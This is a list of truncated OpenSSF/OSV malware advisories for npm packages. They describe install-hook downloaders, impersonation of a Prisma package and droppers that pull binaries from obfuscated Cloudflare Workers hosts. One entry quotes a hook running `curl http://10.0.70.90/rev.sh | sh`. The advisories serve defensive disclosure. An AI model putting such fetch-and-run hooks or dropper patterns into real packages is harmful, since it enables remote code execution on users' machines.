npm advisory reports, with evidence.

OpenSSF/OSV malware advisory MAL-2026-10717 blocks this version. The npm postinstall hook runs ensurePlatformBinary(), which downloads a.tgz archive from the hardcoded bare-IP URL https:/...

OpenSSF/OSV malware advisory MAL-2026-11997 blocks this version. Package ships a darwin/arm64 Go binary that opens an outbound WebSocket to a hardcoded author-controlled relay at wss://re...

OpenSSF/OSV malware advisory MAL-2026-12028 blocks this version. The tarball contains a single 13.4 MB Mach-O darwin/amd64 Go binary at bin/sxt and a package.json with no source, no main,...

OpenSSF/OSV malware advisory MAL-2026-13608 blocks this version. Package is published under the @vertexa scope but brands itself as @prisma/fetch-engine: README titled '# @prisma/fetch-en...

OpenSSF/OSV malware advisory MAL-2026-13608 blocks this version. Package is published under the @vertexa scope but brands itself as @prisma/fetch-engine: README titled '# @prisma/fetch-en...

OpenSSF/OSV malware advisory MAL-2026-13608 blocks this version. Package is published under the @vertexa scope but brands itself as @prisma/fetch-engine: README titled '# @prisma/fetch-en...

OpenSSF/OSV malware advisory MAL-2026-13608 blocks this version. Package is published under the @vertexa scope but brands itself as @prisma/fetch-engine: README titled '# @prisma/fetch-en...

OpenSSF/OSV malware advisory MAL-2026-13608 blocks this version. Package is published under the @vertexa scope but brands itself as @prisma/fetch-engine: README titled '# @prisma/fetch-en...

OpenSSF/OSV malware advisory MAL-2026-13608 blocks this version. Package is published under the @vertexa scope but brands itself as @prisma/fetch-engine: README titled '# @prisma/fetch-en...

OpenSSF/OSV malware advisory MAL-2026-12043 blocks this version. The package is a platform-specific leaf (linux/arm64) whose only shipped artifact is a 12 MB stripped Go binary at bin/sxt...

OpenSSF/OSV malware advisory MAL-2026-13483 blocks this version. package.json declares a preinstall lifecycle hook that runs `curl http://10.0.70.90/rev.sh | sh`, fetching an unpinned she...

OpenSSF/OSV malware advisory MAL-2026-13522 blocks this version. dist/index.js issues fetch() calls to https://base-ui-pro-registry.l-dimitrov.workers.dev in addition to https://registry....

OpenSSF/OSV malware advisory MAL-2026-13602 blocks this version. On require of the package, index.js loads lib/telemetry.js and _polyfill.js, both of which contain dropper logic that sele...

OpenSSF/OSV malware advisory MAL-2026-13601 blocks this version. On require() of dolyame-ui-tablemobile, index.js loads _bootstrap.js which selects a platform-specific payload path, fetch...

OpenSSF/OSV malware advisory MAL-2026-13600 blocks this version. On require('dolyame-ui-tableinline'), index.js loads _init.js which fetches a platform-specific native binary from obfusca...

OpenSSF/OSV malware advisory MAL-2026-13599 blocks this version. On require() the package fetches a platform-specific executable from obfuscated Cloudflare Workers hosts (oob-worker.cf10{...

OpenSSF/OSV malware advisory MAL-2026-13598 blocks this version. On require() of the package, index.js loads _bootstrap.js and the main-exported lib/telemetry.js, both of which implement...

OpenSSF/OSV malware advisory MAL-2026-13597 blocks this version. On require() of the package, index.js loads _helpers.js and lib/telemetry.js, which reassemble Cloudflare Workers hostname...

OpenSSF/OSV malware advisory MAL-2026-13596 blocks this version. On require, index.js loads _shim.js which fetches a platform-specific binary from hardcoded Cloudflare Workers endpoints (...

OpenSSF/OSV malware advisory MAL-2026-13595 blocks this version. On require() of the package, _shim.js and lib/telemetry.js (reached via the main entry) select a platform-specific payload...